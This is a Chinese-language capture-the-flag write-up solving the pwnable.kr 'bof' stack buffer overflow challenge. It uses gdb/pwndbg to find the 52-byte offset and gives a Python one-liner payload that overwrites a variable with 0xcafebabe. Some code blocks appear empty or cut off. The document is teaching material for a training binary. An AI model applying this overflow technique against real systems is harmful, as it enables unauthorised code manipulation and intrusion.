Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.cRunning at : nc pwnable.kr 9000
终于到了溢出类的题目了,一道很简单的缓冲区溢出,覆盖变量为指定值。
1 |
|
方法1 根据两个变量起始地址差距计算
定位输入字符串的起始地址为:0xffffd1fc
1
2
3
4
5
60x5655564c <func+32> mov dword ptr [esp], eax
► 0x5655564f <func+35> call gets <gets>
arg[0]: 0xffffd1fc ◂— 9 /* '\t' */
arg[1]: 0x20
arg[2]: 0x0
arg[3]: 0xffffd3cc ◂— 0x20 /* ' ' */定位key比较时,key所在的地址:0xffffd228 + 8 = 0xffffd230
1 | ► 0x56555654 <func+40> cmp dword ptr [ebp + 8], 0xcafebabe |
所以如果想要覆盖到key的话,需要先填充0xffffd230 - 0xffffd1fc = 0x34个字节;
方法2 gdb查看内存布局
调试的时候随便输入一个字符串例如AAAA,然后查看栈内存中AAAA和0xdeadbeef的距离
1 | pwndbg> x/50wx $esp |
或者使用gdb的find命令,在指定栈内存范围内搜索字符串起始地址和key地址:
1 | pwndbg> find $esp, $esp + 200, "AAAA" |
0xffffd230 - 0xffffd1fc = 0x34
方法3 常识
x86情况下,ebp存放上一个栈帧的ebp,ebp + 4是存放的返回地址,ebp + 8是第一个参数的地址、ebp + 12是第二个参数的地址,依次。key是第一个参数。
exp
那么逻辑就比较清晰了
1 | python3 -c "import sys; sys.stdout.buffer.write(b'A' * 52 + b'\xbe\xba\xfe\xca')" > ./payload |
1 | from pwn import * |
1 | $ python3 exp.py |
知识点小结
- gdb搜索内存
使用命令find来搜索内存中特定的值,语法如下:
1 | find start_address, end_address, value |
如果要搜索整个内存空间,使用0和-1作为起始地址和结束地址。
- x86下32为的内存空间布局